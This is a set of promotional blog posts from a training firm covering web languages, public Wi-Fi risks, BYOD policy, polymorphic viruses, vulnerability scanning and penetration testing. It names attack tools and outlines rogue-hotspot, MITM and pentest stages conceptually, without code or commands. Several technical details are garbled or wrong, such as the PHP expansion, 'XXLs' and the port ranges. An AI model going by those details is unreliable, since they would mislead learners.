Web Application Development is obviously a desirable skillset, not to mention that it is also a lucrative one. When it comes to return on investment in education, Web developers rank among the top, with attractive salaries based on job roles and skill set.
Nevertheless, the internet has a lot of predictability that the number of Web developer jobs will continue to grow through 2022. The global demand for Web developers is very high, making it harder and more expensive for companies to hire top talent. It also means that those skilled in Web development have options to demand a premium in salaries and perks.

Zach Sims, CEO of Codeacademy said – “In today’s professional world, it’s essential to stay on the cutting edge, programmers who learn many Web languages are able to stay versatile and keep a pulse on the evolving professional needs within their field.”

The question is; which languages are essential for any Web developer to learn, especially if they want to lock down a good salary?

CCS – Style Knows No Extinct

CSS –  Stands for Cascading Style Sheets, a stylesheet language that is responsible for the layout, style and how your website looks and behaves on the browser. It ensures proper spacing, alignment and the integrity of other key design elements. One without an in-depth CSS knowledge will find it difficult designing a Website because the language dictates so much in terms of look and feel of a website. Anyone who wants to be a web developer cannot overlook CSS.

Learn at Soutech

PHP: The Basis of Key Platforms

PHP which stands for Hypertext Processor (recursively), is a server-side scripting language responsible for many of the world’s most popular Web platforms, including WordPress. Dogged with security issues periodically yet, PHP boasts an elasticity that makes it valuable in everything from standalone graphics applications to generating HTML code.

It is a good practice to become familiar as possible with the platform’s open-source libraries when you learn PHP and to know how to interacts with database servers such as MySQL and PostgreSQL. If you’re interested in building up your PHP knowledge, Soutech Web Consult has tutorials that are specifically prepared to enhance your skillset. Scrapping from conditionals to arrays to loops, there are lots of things to learn about PHP, but once you know what you’re talking about and how to fix issues and bugs, you’ll be far ahead of competitors for many must-have jobs.

JavaScript: Everyone Wants an App

Topping the lists of most-popular programming languages in the World on a regular basis; is JavaScript. With good reason off-course, alongside CSS and HTML, it helps power huge number of Websites around the world. JavaScript is an interpreted programming language that allows programmers to create critical workflows, games, mobile\web apps, and just about everything else that jumped into their head.

It basically combines a series of items, including data structures, objects, and countless other elements, to help users build whatever they desire. Needless to say, it is a versatile platform, but also one with a lot of moving parts. Developers who intend learning JS will need to explore everything from choosing the right frameworks to advanced tools such as strict mode. JavaScript knowledge can also be parlayed into mobile development. “We often encourage beginners in mobile applications to get familiar with JavaScript.

Soutech-web-development

HTML – Anywhere There is The Web…

HTML which stands for “hypertext mark-up language” has been around like forever, and it’s perhaps the easiest of any Web language to learn. It remains significant as the Web’s standard markup language. Given its age, discussions on HTML and its importance are kind of old. But any newbie getting into Web Development should learn the basics of HTML, understand how to create different tags, and design simple Websites for practice.

Conclusion

To be a successful Web Developer, it is not enough to focus on just one of these languages. Although being flexible will unlock a lot of opportunities for success, but these languages are not necessarily standalone. For instance: HTML will need CSS for look and feel, likewise JavaScript will need HTML for output, depending on what you desire to build. The idea is to not only learn thoroughly but also put yourself in a flexible mindset that will allow you to adapt to the inevitable changes in languages and methodologies. All seasoned Web Developers knows that there is always something to learn.

Soutech Web Consult specializes in training individuals how to become successful developers. Visit Soutech Web Consult, select a package and begin training to today.

Just how safe are Public Wi-Fi’s?Stay protected- Soutech ventures

Having Wi-Fi readily available in public places has become a trend in larger cities of the world. Public places such as restaurants, coffee shops, libraries, hotel rooms, auxiliary offices, airports and other places you can think of have all adopted the use of Wi-Fi. Having a free and easily accessible internet connection to use can be a very convenient way of catching up with your work, meeting targets, accessing your online accounts, checking your mails etc. However, we seem not to know to the security risks associated with the use of publicly available Wi-Fi’s. Well, like you know already that one of best ways to optimally and speedily access your sensitive information and carryout sensitive transactions through Wi-Fi, there are some measures you need to take additionally in order to kept safe online which is the purpose of this write up.

According to a popular research journal published by Norton, said that over 68% people fell victim to publicly available and unsecured Wi-Fi’s in the last year. Therefore, we must take practical measures and efforts to make sure our devices are kept safe and protected.

Brief History in the encryption standard adopted by the Wi-Fi

Let me shade some more light on the encryption protocols and standards that existed before the encryption protocol adopted for use by Wi-Fi’s. One of the security problems faced by older encryption standards is in the aspect of security which was adopted by some wireless networks. One of the first encryption schemes for wireless network devices was the Wireless Encryption Protocol (WEP) and this encryption standard was found to be weak and very easy to crack. Although the WEP protocol is still regularly found as an option in many wireless access points and devices, there is need to give way for upgrading hardware that will be supported by newer standards whenever it is possible.

WEP was developed with the intention to manage the following;

  • To prevent eavesdropping in communications which aims at reducing any forms of unauthorized disclosure of data.
  • To ensure data integrity while it flows across the network.
  • Encryption of packets during transmission using a shared secret key.
  • To allow access control, confidentiality and integrity in a lightweight and efficient system.

However, WEP failed in handling some of these issues which birth WPA.

The Wireless Protected Access (WPA) came as a successor to WEP and was birth with the intention of checking and curbing the many issues faced by the WEP standard. This is the reason why its encryption abilities addressed some vulnerabilities however it was being found vulnerable and cracked. It was designed not to required full hardware upgrades as compared to the WEP.

However, its processing power and mechanisms were being limited especially where older versions of hardwares were involved. The TKIP standard was one of the standards developed to platform the WPA. TKIP was an improved standard for the WEP protocol because at every point there is a static and unchanging key being used for every frame transmitted.

WPA however suffered from the following flaws;

  • Weak key selection by users
  • Issues of packet spoofing
  • Issues with authentication as regards Microsoft Challenge Handshake.

This gave way to the WPA2 standard intended to address the flaws in WPA. WPA came with a stronger and tough encryption standard which are CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) and AES (Advanced Encryption Standard). It also employs the TKIP Temporary Key Integrity Protocol and MIC (Message Integrity Code) as encryption standards.

This enterprise is a version that incorporates the EAP standard as a medium to improve the strength of the security and also make the system scalable for use in large organisations and enterprises. WPA2 is special because it offers an improved security when compared over its predecessors and maintains the IEEE 802.11i standard for security. It uses a server to carry out its key management and authentication for its wireless clients.

The WEP, WPA and WPA2 all suffer serious vulnerability issues which an attacker can exploit in order to take advantage of the victim. All of them offer ways to be exploited in recent times.

Why Public Wi-Fi is Vulnerable to cyber attacks

Given all the risk associated with all the protocols described above, users still suffer a great deal from unknown and known flaws. The fact that you may need a password to log in to access the Wi-Fi does not mean that your activities online are encrypted and that a publicly available Wi-Fi is secure. There a few issues that make public Wi-Fi’s susceptible to attacks and one of the issues related to the encryption protocol which the Wi-Fi technology adopts. Another issue has to do with the possibility of connecting to a rogue Wi-Fi hotspot. Tools like Aircrack-ng have been built and are readily available online to perform brute force attacks on any weak passwords and keys involving WEP and WPA.

The risk of joining a rogue Wi-Fi hotspot is also a big issue when using free public Wi-Fi’s. All a hacker has to do is to create a rogue hotspot with the intention of unleashing a sort of Man-in-the-middle (MITM) attack on whoever becomes a victim by connecting to the rogue Wi-Fi. When this attack occurs, it allows a hacker to intercept the communication that goes on between you and the server of the website you are visiting at a time. There are pre-built tools that can be used to easily eavesdrop, capture sensitive information like login credentials, credit card numbers and social media security passwords etc. and monitor online traffic for performing MITM attacks

 

What are the signs that you may have logged on to a Rogue Wi-Fi?

Of course, you know that once a device discovers a Wi-Fi network it probes the known networks which an attacker can leverage on. An attacker can configure a rouge Wi-Fi hotspot which can look like a typical home network that can be found in a coffee shop. Therefore, your device can be connected to the hackers’ rogue Wi-Fi hotspot instead of connecting to the real publicly available Wi-Fi hotspot.

Another trick you should know is that, a public Wi-Fi network can be created with the name Free Wi-Fi which is flooded for victims to be connected to them and very naturally people will want to join such networks especially if the free internet service is offered. I must say I personally has been a victim to this a few years ago. If you are at a coffee shop, or at home or in a public place and suddenly your device shows you have been connected to your home network, there are huge chances that someone has been able to grab your devices’ or computers broadcast request. If also you are browsing a website or webpage such as your bank or favorite social media page that should normally be HTTPS instead it shows HTTP, then you must know that someone might have connected to your network. Once this person has linked up to your network, the person can perform a MITM attack by serving you a HTTP version of the site with the intention of capturing your login credentials. So, you must always be on the lookout these little details.

 

What are the Measures you can take to ensure your safety on a Public Wi-Fi?

  1. Accessing Sensitive information using public Wi-Fi: I will as a matter of fact always advice anyone never to use public Wi-Fi’s to access their sensitive information. If there is need at any point in time to access your sensitive data online, you need to switch you’re your local ISP or get someone to pretty much share their device hotspot with you. You can do use the public Wi-Fi to browse for things like directions and other things that are less sensitive like getting information from google, bing or yahoo. If you’re trying to process things like paying of bills or even shop online, these things can wait. If it is an urgent situation which you need to achieve, the use of a VPN (Virtual Private Network) is advised. There is a plethora of trusted VPNs online and obviously if you need a good service, then you need to pay for such VPNs. Ensure you choose a reputable VPN security provider.
  2. Use VPNs (Virtual Private Network): If there is a need to use a publicly available Wi-Fi to do your work and your company or organisation offers a VPN access, ensure to make use of it. VPNs provide a private tunnel for you to transmit or communicate by adding an extra layer of security for your connection.
  3. Visit HTTPS only: If you are using a public Wi-Fi, ensure to avoid websites that are HTTP (not protected or secure) and visit or browse websites that begin with HTTPS.

Why am I saying so, if you are an IT expert, you not, you must know that HTTPS are encrypted and provide an extra layer of security which makes browsing more secure. If you connect to an HTTP site which is unsecure, a hacker can easily see your traffic if he snoops around the network.

 

 

  1. Consider installing an extension such as HTTPS-Everywhere in order to re-route all the websites you visit to HTTPS. There is a tool offered by the Electronic Fronteir Foundation which provides this option.

2.Configure wireless settings on your device: Configure your device not to connect automatically to any available Wi-Fi hotspots. This can be done by navigating to the wireless settings of your PC or device. This setting makes sure your device does not automatically and unknowingly gets connected to any public network. On your PC, just turn off the “connect automatically” option. When you do this, you prevent your device from broadcasting to the world that it is attempting to get connected to the “home network” which a hacker can easily spoof.

  1. Use Privacy screens: Hackers are everywhere and are usually not afraid of using any means possible to access and obtain your data, you must consider making use of privacy screens if there is a need to access sensitive information in a public place.

In general terms, whether or not you are using a your smart-devices or PC’s to access some sensitive information like accessing your bank account and financial information, always ensure not to do it in a publicly available Wi-Fi network. Ensure to consider all the tips above to keep your information protected online.

Soutech ventures offers a comprehensive information security course such as (CEH and CISSP) which can give more security insights, tools/tips and countermeasures in the different facets of technology. Subscribe to our services today.

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Setting up a Bring-Your-Own-Device (BYOD) policy for your Organization- Be Cyber-safe-SOUTECH

In a recent survey by Symantec, it said that about three to four small and medium-sized organization owners have adopted smartphones and tablets as a core part of achieving their teams’ success. Since the use of these devices are gradually expanding, therefore there is a need to provide an apt security for them. This is the main reason why organizations have adopted the bring-you-own-device concept an approach that is commonly referred to as BYOD.

The fact that smartphones and tablets have grown into consumer markets have made a lot of employees choose employ the Bring-Your-Own-Device concept to their places of work. So, I’ll be giving you a few tips on how to stay protected on the internet as mobile devices have become a core entity in many organizations.

Therefore, the idea of developing a sound and efficient BYOD policy that can assist in gaining a maximum productivity in your organization or your company.

These are a few things I will buttress on this point which are the necessities for every organization;

1.Assessing the needs of Your BYOD 

One of the key things you can do is to brief or engage your employees and staff in talks regarding the use of their devices in the organization for business transactions. The things you need to find out are;

  • Do they access the company server and read emails related to work or the business?
  • What operating systems and the devices they employees use in order to access their network?

This information will guide your policies and help you to dictate the scope of your policies and the measures you can take to secure your devices. It can also help you to in making choices of the security softwares you can deploy to protect their devices.

2. Always Educate Your Employees

Endeavour to talk to your employees and team members on the potential risks of using mobile devices in and out of the office including the importance of managing these any related risk. It must be made compulsory for employees to follow security best practices, which include:

  • Employing the use of complex passwords for their devices and for any program that is related to work which are accessed using those devices.

                                 

These passwords can be set by navigating through the device’s settings. Learn more about creating strong passwords.

  • Employing a regular password changing policy. For example, changing passwords quarterly or every 90days. You can use password manager services like KeePass or LastPass which is capable of helping employees manage multiple and regular password changes.
  • Always ensuring that system updates and app updates are done once the device prompts for them. This is done in order to protect against any possible security vulnerabilities.
  • Being on the lookout for phishing text messages and emails which can be avoided by avoiding to click on such links that prompt them to download files and documents from unknown pages.
  • Doing a thorough research on applications before having to download them unto devices. Employees should be discouraged from downloading applications from unofficial or third-party app stores.

3. Strong Protective measures must be implement

Products that will assist employees to build their strength and ability of their devices when used for business should be explored. A very good tool is the Norton Small Business software that performs the function of protecting mobile devices against malwares associated with mobiles.Research has had it that many devices running on Android platforms carry potential malwares and privacy loopholes and greywares which are capable of hindering productivity. However, there have been new products that provide more security including remote locate and lock and wipe features. These features allow mobile users to manage their device security from a central web portal. Consider using a VPN (Virtual Private Network) service if the employees access the company’s network remotely with their mobile devices. A VPN creates a tunnel that is encrypted in the internet which allows traffic to pass through it. There are mobile apps that allow users to connect to a VPN via their mobile devices or smartphones.

4. Acceptable Use should be properly defined

Guidelines should be outlined to clarify and define how employees can use their devices during business hours for business purposes. For instance, you may employ a pervasive policy by allowing your team members to access documents and emails, but prohibiting them having access to sensitive files such as financial data. Websites and apps that are prohibited from accessing with the company VPN during work hours should be specified.

5. Decide how these Guidelines are Enforced

Setup due consequences for any member of your team who goes against any of the outlined policies. Measures could be that if anyone accesses those prohibited apps or softwares during business hours it could result in warning and if anyone downloads or stores confidential files from a malicious app, such persons will not get funding for their mobile devices.

These measures should be outlined clearly with how any potential violations will be handled.

If you run a business or an organisation that encourages the BYOD policy, thinking through these steps and few tips should be able to guide you through building a firm foundation and an effective way to manage your infrastructure and protect it from any possible security breaches.

You can learn about a lot of more tips on how to better manage your infrastructure along proper auditing skills from SOUTECH ventures. We offer the best IT consulting solutions to our clients in Abuja, Lagos and Port Harcourt. Subscribe to our Ethical hacking course and learn more.

 

All you need to know about Polymorphic Viruses

Polymorphic viruses have over the years been one of the most difficult and complex viruses to detect. Anti-virus manufacturing companies have had to spend days and months trying to create detection routines required to track a single polymorphic.

I’ll attempt to discuss about polymorphics and some of the detection mechanisms existing and also introducing Symantec’s striker Technology, a patent-pending mechanism for detection of polymorphics.

The Norton anti-virus 2.0 was the maiden version to include a striker for possible detection of polymorphics.

 The Evolution of Polymorphic viruses

A computer virus can be defined as a self-replicating computer program that functions without the permission of the user. In order to spread, it attaches a copy of itself to some part of the program such as a word processor or a spreadsheet. A virus can also attack boot records and master boot records that contain all the information that a computer needs to startup.

Some viruses can replicate themselves, some may display messages input by its creator, some can be designed to deliver a part of a payload to corrupt programs, delete files, reformat a hard-disk drive, shutdown or crash a corporate network. I will quickly discuss about some viruses before we can relate it to polymorphic viruses.

Simple Virus

All a simple virus does is to replicate itself such that if a user launches the program, the virus gains control of the computer and attaches a copy of itself to other program files. After it spreads successfully, the virus transfers control back to the host program, which functions normally. You can perform a simple anti-virus scan to detect this kind of infections.

Encrypted Virus

The mode of operation of the encrypted virus was via signatures. Its idea was to hide the fixed signatures by scrambling the virus therefore making it unrecognizable by the virus scanner.

An encrypted virus is made up of a virus decryption routine as well as an encrypted virus body such that if the user launches the infected program, the virus decryption routine first gains control of the computer, then decrypts the body of the virus.

                                            An Encrypted Virus

Polymorphic viruses

The polymorphic virus is built in such a way that it has a scrambled virus body and a decryption routine that first gains control and then decrypts the virus’ body. However, it possesses a third component which is a mutation engine that sort of generates randomized decryption routines which change each time the virus infects a new program.

The mutation engine and the virus body are both encrypted such that when a user runs a program infected with a polymorphic virus, the decryption routine first gains control of the computer, then decrypts both the virus body and the mutation engine.

                             An Encrypted Virus before execution

 

                                 An Encrypted Virus after Execution

The decryption routine then transfers control of the computer to the virus, which locates a new program to infect. At this point, the virus makes a copy of both itself and the mutation engine in random access memory (RAM). The next thing the virus does is that it invokes the mutation engine, which will randomly generate a new decryption routine that will decrypt the virus and yet does not bear any resemblance to the previous decryption routine. The virus encrypts the new copy of the virus’ body and the mutation engine. Finally, the virus then attaches this new decryption routine, alongside the newly encrypted virus and mutation engine to the new program.

Decrypt virus

                                                      A Fully decrypted Virus

So, we can see that not only is the virus’ body encrypted, but the decryption routine varies from infection to infection. This therefore confounds a virus scanner searching for the tell-tale sequence of bytes that identifies

a specific decryption routine. With a signature that is not fixed to scan for, and a non-fixed decryption routine as well, no two infections look alike.

Detecting a Polymorphic Virus

Anti-virus researchers launched an attempt to fight back by developing special detection routines crafted to detect and catch each and every polymorphic virus. Special programs were written by line for line which were designed to detect various sequences of computer codes known to be used by all the mutation engines to decrypt the virus body.

This approach was not feasible, it was as well time consuming and costly. Every new polymorphic virus needs its own detection program and also, a mutation engine which produces seemingly random programs which can properly execute decryption and some mutation engines to generate billions of variations.

Moreover, a lot of polymorphics make use of the same mutation engine, credits to the authors of viruses like dark avenger. In addition to this, different engines are being used by different polymorphics to generate a similar decryption routine, which can make identification of the virus solely based on decryption routines wholly unreliable.

This approach can be misleading by identifying one polymorphic as another. These shortcomings led anti-virus researchers to develop generic decryption techniques that trick a polymorphic virus into decrypting and revealing itself.

To gain more knowledge about all forms of malwares with malware analytical skills subscribe to our CEH course at Soutech Ventures. We have trained and seasoned experts to give you both theoretical and hands-on ethical hacking knowledge and skills.

Vulnerability Testing: A Detailed Guide-SOUTECH guide

One of the major challenges which the cybersecurity world is facing is the way vulnerabilities are classified or grouped. Many security vendors, professionals and product developers have given different names the same type of vulnerabilities and it has grown to become a confusing idea to security practitioners when performing tests. This is the reason why some organisations such as CVE (Common Vulnerabilities and Exposures have come together to develop a common language for vulnerabilities.

The CVE which is sponsored by the Mitre Corporation, has set up a standard for which naming security vulnerabilities conventionally in other to make it easier to discuss, perform and document. A complete list of CVE for vulnerability testing can be downloaded from CVE.

CVE standard has been deployed by many security products to name but a few such as;

  • Nessus Security scanner
  • STAT (Security Threat Avoidance Technology
  • Internet Scanner by ISS (Internet Security Systems)

Types of Vulnerability Scanners

Vulnerability scanners can be classified into;

  1. Host Based vulnerability scanners
  • It identifies the issues that are inherent in the host system.
  • This process of scanning is performed by using host-based scanners to check for the vulnerabilities.
  • When the host-based tools load the mediator software to the target system, it traces the events that have occurred and sends the report to the security analyst for analysis and decide the next move.
  1. Network Based vulnerability scanners
  • This process is performed using Network-based Scanners.
  • The function of the network-based scanners is to detect the open ports, identify the unknown services and active and running ports.
  • It then gives a result of all the possible vulnerabilities that are associated with these services.
  1. Database Based Vulnerability scanners
  • The database -based vulnerability scanners will identify the security loopholes in the database
  • Here, tools and techniques are applied to test if the database is susceptible to SQL injections. The tester performs an SQL injecting SQL queries into the database in to read any sensitive data from the database. If there are any loopholes, the cyber security expert then updates the data in the data and tries to patch the security issue.

Steps for Performing Vulnerability Testing

The full methodologies on how to perform Vulnerability testing can be found in my previous article on vulnerability testing. I will describe briefly the steps that can be used to carry out any vulnerability test.

1.Check for Live Hosts: Here we have to check if the host is alive on the network. We can also

  • detect firewalls in the network
  • Probe for open ports such as UDP and TCP ports and other ports
  • TCP ports such as 1-111, 135,139, 443, 445 etc.
  • UDP ports such as 53, 111, 135, 137, 161 and 500

Whether or not the target is alive or offline, the scan can still be done.

2. Detect Firewalls: Here we try to determine there is a firewall in front of the target system. This is because some systems may appear to be offline but in the actually sense they are just protected by firewalls to be off and can still be open to attacks.

This test also attempts to gather a lot of network information from the target network especially when doing UDP and TCP probing.

3. Determine Open services and ports: In this step, we try to scan the UDP and TCP ports in other to discover the ports and services that are open. The ports to be probed are UDP and TCP ports 65-535 and in most setups, it is recommended to use the best scan probes to save the network bandwidth and the network time. So during the performance of an indepth scan, the use of full profiled scan probes are recommended.

4. Detection of Operating Systems and Versions: This involves discovering the OS versions and the services in other to optimize it. Once the process of UDP and TCP port scanning have been over, the pen tester uses different techniques in other to identify the OS that is running on the target host and network.

5. Perform a profiled Vulnerability scan: A profiled scan is applied in order to get an optimized vulnerability scanning result. Profiled scans include;

  • Best scan to get popular ports
  • Quick Scan to get most common ports
  • Firewall scan by performing stealth scan
  • Aggressive Scan by performing full scan, exploits and for DOS attacks

6. Developing a detailed Report: There are different formats to generate reports and the outputs of risk analysis and remediation suggestions. You can read the the OWASP full vulnerability scan documents to get a template for presenting your reports.

Vulnerability Testing Tools

Vulnerability testing tools can be classified into  Host-based tools and Data-based tools. I will describe a few tools which are efficient for performing vulnerability assessment.

Category

Tool

Description

Host-Based STAT It scans multiple systems on the network.
  TARA An acronym for Tiger Analytical Research Assistant. It is a unix-based system scanner which detects a set of known vulnerabilities in the local host of the network.
  Cain and Abel It can be used for cracking HTTP passwords and for retrieving passwords by sniffing the network.
  Metasploit It is an open source platform on linux for developing, testing and exploit of codes.
  WireShark This is an open Source network protocol analyzing tool that runs on both Linux and Windows platforms. Used to sniff the services running on the network.
  Nmap This is also an open source utility tool for carrying out security audits.
  Nessus This is an agent-less platform for auditing, reporting and carrying out patch management integration.
Database-based SQL diet A tool door for the SQL server for performing dictionary attacks.
  Secure Auditor It enables a user to carryout enumeration, network scanning, auditing and also perform penetration testing and forensic on the operating systems.
  DB-scan It is a tool used for the detection of trojans on the database, and also detecting hidden trojans by performing baseline scanning.

 

Advantages of Vulnerability Assessment

The common advantages of performing vulnerability assessments are;

  • There are readily available open source tools for performing vulnerability assessments.
  • It provides a platform to identify, detect and curb almost all vulnerabilities inherent on any system.
  • Some of the afore mentioned tools are automated for scanning.
  • These vulnerability assessment tools are easy to run on a regular basis.

Disadvantages of Vulnerability Assessment

  • There is an increase in the rate of false positive results
  • A vulnerability assessment tool can easily be detected by an Intrusion Detection System (IDS)/Firewall.
  • Sometimes recent and latest vulnerabilities can be hardly noticed.

Vulnerability Assessment vs Penetration Testing

Vulnerability Assessment Penetration Testing
Functionality To discover Vulnerabilities To Identify and exploit known vulnerabilities
Mechanism For discovery & scanning Perform simulations
Focal point Considers breadth over depth Considers depth over breadth
Coverage of Completeness High Low
Cost of Use Low to Moderate High
Tester House staff An attacker or Penetration Tester
Tester Knowledge High Low
How often is being run Run after every single equipment is loaded Run once in a year or quarterly depending on organizations policy
Results provided Gives partial and inconclusive details about the Vulnerabilities It gives a complete detail of all the  identified vulnerabilities

When performing vulnerability testing, you must know that it depends on two major mechanisms which are vulnerability assessment and penetration testing which I have been able to differentiate summarily. Now, these two test methods differ from each other in the areas of the tasks they perform and the weight of their performance levels.

However, if one must achieve a comprehensive and well detailed vulnerability testing with reports, a combination of both methods is always recommended.

We at Soutech web consults have a professional team that can carry out well organized and detailed vulnerability testing on your organization. Do well to contact us today on our website.

 

 

 

 

 

 

 

 

 

 

All you need to know about Penetration Testing: Soutech Ventures

Penetration which is colloquially referred to as pen test is a simulated attack that is being performed on a computer system or its network infrastructure with permissions from management to probe for security vulnerabilities, and a potential means of gaining access to data and other features on the system.

Penetration testing helps one to find out the vulnerability of a system to an attack and if the defense mechanism created are sufficient and which defense mechanisms or techniques employed that can be defeated. A typical penetration testing process focuses on finding vulnerabilities depending on the nature of the approved activity for a given engagement.

A security testing will never prove the absence of security flaws in a system but it can sure prove their presence.

 Brief History of Penetration Testing

In the mid-1960s, for over 50years and more, as the sophistication of networks increased, white hat hackers have been putting in work to make sure computer systems are protected from unauthorized access by hackers. They understood if hackers gain access into their systems, they could even destroy information networks asides stealing information. As computers began to gain the ability to share data or information through and across communication lines, the challenge to protect information increased. These lines if broken and data compromised, contained or stolen.

As early as 1965, computer security experts warned the government and business outlets that because of the increasing capability of computers to share information and exchange vital data across communication lines, there could be an inevitable attempt to penetrate those communication lines during exchange of data. In the year 1967, in the annual joint computer conference which had over 15,000 cyber security experts in attendance, there were serious deliberations that computer communication lines could be penetrated by hackers. They coined the term penetration which has perhaps become a major challenge in computer communication today.

This meeting brought the idea of actually testing systems and networks to ensure that integrity is increased as the expansion of computer networks such RAND corporation which first discovered a major threat to internet communications. The RAND Corporation aliased with the Advance Research Projects Agency (ARPA) located in the US to produce a report known as The Willis Report named after its lead author. The Willis Report discussed this security issue with a proposition of policies to serve as countermeasures in security breaches.

From this report however, the government and organizations started to form teams with the sole responsibility of finding weaknesses and vulnerabilities in the computer networks and measures to protect the systems from unauthorized or unethical hacking or penetration.

Today, there are numerous and specialized options that are available for performing penetration testing. Many of these systems include tools that a range of features for testing the security of the operating system. For example, we have Kali Linux which can be used for performing penetration testing and digital forensics. Also contained in it are 8 standard tools such as burp suite, Nmap, Aircrack-ng, Kismet, Wireshark, the Metasploit framework and John the Ripper. Kali Linux has all these tools and many more and for a system to contain all this sophisticated tools goes to show how much sophisticated today’s technology has gradually become and how many hackers are finding ways to create problems for computer-driven networks and computing environments most the especially the internet.

Objectives of Penetration Testing

The objectives of an intense pen test involve

  • Determining how an attacker can find any loopholes to unlawfully gain access to the systems assets that can be of harm to the fundamental security of the systems logs, files.
  • Confirming that all the applicable controls like the vulnerability management methodologies and segmentation required for the good functioning of the system are in place

Types of Penetration Testing

  1. Black box penetration testing: Also referred to as blind testing. Here, the client does not give out any prior information of the system architecture to the pen tester. It may offer little as regards value to the pen tester since the client does not provide any information. It can require more money, more time as well as resources to carryout
  2. White box penetration testing: Also known as Here, the client provides the pen tester with a comprehensive and complete detail of the network and how is being applied.
  3. Grey box penetration testing: The client may provide incomplete or partial information of the system network.

Stages of Penetration Testing

There are basically 5 stages of a penetration test.

1. Reconnaissance and planning: This stage involves gathering intelligence such as network, mail servers and domain names in the bid to understand how the target system works and the potential vulnerabilities it is facing.

It also involves a thorough definition of the scope and the goals of the penetration test, including the systems that are to be addressed and the methods of testing to deployed.

2. Scanning: This stage requires an in-depth understanding of how the target applications will respond to any attempt of intrusion. Scanning can be performed in the following ways:

  • Static analysis: This is a process involves a careful inspection of the codes in the application and how it behaves when it is run. These tools have the capability of scanning the entire code in a single pass.
  • Dynamic Analysis: It involves a careful inspection of the codes in the application when in the running state. It is a more practical approach to scanning in that it gives the real-time view of the applications performance.

3. Gaining Access: In this stage, the pen tester uses web application attack techniques such as SQLs, XXLs and backdoors to unravel the vulnerabilities on the target system. In a quest to understand the damages they can cause on the target, the tester will try to exploit the vulnerabilities discovered by intercepting traffic, stealing data and escalating privileges etc.

4. Maintaining Access: The stage aims at achieving a persistent presence in the exploited system using the known vulnerabilities. Advanced threats which are capable of remaining on the system for months are logged into the system into to monitor changes, enhancements and any new information being loaded onto the system.

5. Results and Analysis: In this stage, all the results obtained from the penetration test are compiled comprehensively and in details. This includes;

  • All the vulnerabilities that have been exploited
  • All sensitive data that has been accessed
  • The amount of time spent during maintaining access without being detected.

The security personnel then analyses the results in a bid to where necessary reconfigure the organization’s WAF settings and any other application security flaws. This is done to patch all the vulnerabilities and to protect information against any future attacks.

Classification of Penetration Testing

1. External Penetration Testing: An external penetration tests is targeted at the assets owned by an organization that are accessible to and on the internet. Examples of such assets can be,

  • The organizations website
  • Domain name servers
  • Emails
  • Web applications

The major goal of the external pen test is to gain access and extract data.

2. Internal Penetration Testing: It attempts to mimic an attacker actually launching an attack on the network to find vulnerabilities or loopholes.

It involves an examination of the IT systems of an internal network for possible traces of vulnerabilities which can affect the confidentiality, integrity and availability, and thereby giving the organisation the clues to take steps to address such vulnerabilities.

Penetration Testing Services

I will describe 4 distinct penetration testing service offerings that we can provide you

  1. Vulnerability Scanning: This scanning technique provides a very transparent and mature offer but the biggest challenge always lies on whether to resell a service offering or to buy that can be used to internally scan the clients systems and networks. Every regulation requires scanning which is the first and easy step taken towards achieving security assurance. This is because all regulated customers need to scan.
  2. Penetration testing of Infrastructure: This offers tools such as Metasploit or Core Impact, that can be used to perform live exploits. Live ammunitions are used so you have to orchestrate or organize the test with the client in such a way that the amount of disruption during the tests is minimized. The pen tester should endeavor to test all externally visible IP addresses because it is what the bad guys want in order to penetrate the system and network. The tester should also attach to the conference room network which is one of the softest parts of the customers’ defense.
  3. Penetration of Applications: This is a very important step which involves an attempt to break into the applications because so many attacks are directly targeted at applications. Web applications such as HP’s WebInspect and IBM’s AppScan can be employed, but the tester can also find ways to exploit the application logic errors. Nothing stands a skilled application test because once an initial application is compromised, a direct access to the database where valuable data is easy. If the tester can access the database, then the customers system is owned already and scripts can be written to block every loop holes by the attacker.
  4. User Testing: This part of the penetration test is always fun for the penetration testers because they get to see how gullible and vulnerable most users are. The test may involve sending fake email messages to customer service representatives in a bid to gather information that can be used to penetrate their facilities. They even drop thumb drives at the parking lot and watch out for people that will plug them. Social engineering is one of the key ways of information gathering and should never be underestimated. Social engineering can be used on the client in order to catch them off guard.

Standards for Penetration Testing Methodologies

There are many accepted industry methodologies that may guide and help the pen tester through any test.

  • Open Source Security Testing Methodology Manual (OSSTMM)
  • OWASP Testing Guide
  • The National Institute of Standards and Technology (NIST)
  • Penetration Testing Execution Standard
  • Penetration Testing Framework

These frameworks have set standards that any penetration testing activity should follow as should strictly be adhered to guide the pen tester whenever necessary.

A typical penetration activity is detailed and must be carried out in an organized fashion. This is because organisational data and assets are very important and delicate things to handle therefore there is a need to have an orgnised team of professionals to handle your penetration testing services.

We at SOUTECH web consults are the perfect consulting firm for carrying out your penetration testing. We have professional staff and a team to conduct a well detailed and professional penetration testing. Subscribe for our services today.

 

Performing a Detailed Penetration Testing: Soutech Ventures

Pen tests as we already know are intended to identify and confirm actual security breaches and to report such issues to management. This ensures that an organization experiences a balance in business and a good network security to ensure the smooth operation of business.

Just to reiterate as this is a follow up article to my basics on penetration testing, penetration testing colloquially called pen test refers to an ethical hacking method which is used to perform security testing on a computer network of an organization. It involves a lot of methodologies which I have already explained in my previous write up which is designed to explore a network for potential known vulnerabilities and to test them if they are real. A properly performed penetration test allows a network professional to fix issues within the network in order to improve the network security and provide the needed protection for the entire network against future cyber-attacks and intrusions.

The terms vulnerability assessment and penetration testing are often confused and I have made an attempt to differentiate them because they mean different things.

Pen tests involve methods require using legal permissions to exploit the network while vulnerability assessment requires evaluating the network, its systems and services for potential security problems. While a pen test is designed to perform simulated attacks, vulnerability assessments only require pure analysis and vetting of an organizations network for vulnerabilities. Note that no attack is launched.

Penetration Testing Services

I will describe 4 distinct penetration testing service offerings that we can provide you

1.Vulnerability Scanning: This scanning technique provides a very transparent and mature offer but the biggest challenge always lies on whether to resell a service offering or to buy that can be used to internally scan the clients’ systems and networks. Every regulation requires scanning which is the first and easy step taken towards achieving security assurance. This is because all regulated customers need to scan.

2. Penetration testing of Infrastructure: This offers tools such as Metasploit or Core Impact, that can be used to perform live exploits. Live ammunitions are used so you have to orchestrate or organize the test with the client in such a way that the amount of disruption during the tests is minimized. The pen tester should endeavor to test all externally visible IP addresses because it is what the bad guys want in order to penetrate the system and network. The tester should also attach to the conference room network which is one of the softest parts of the customers’ defense.

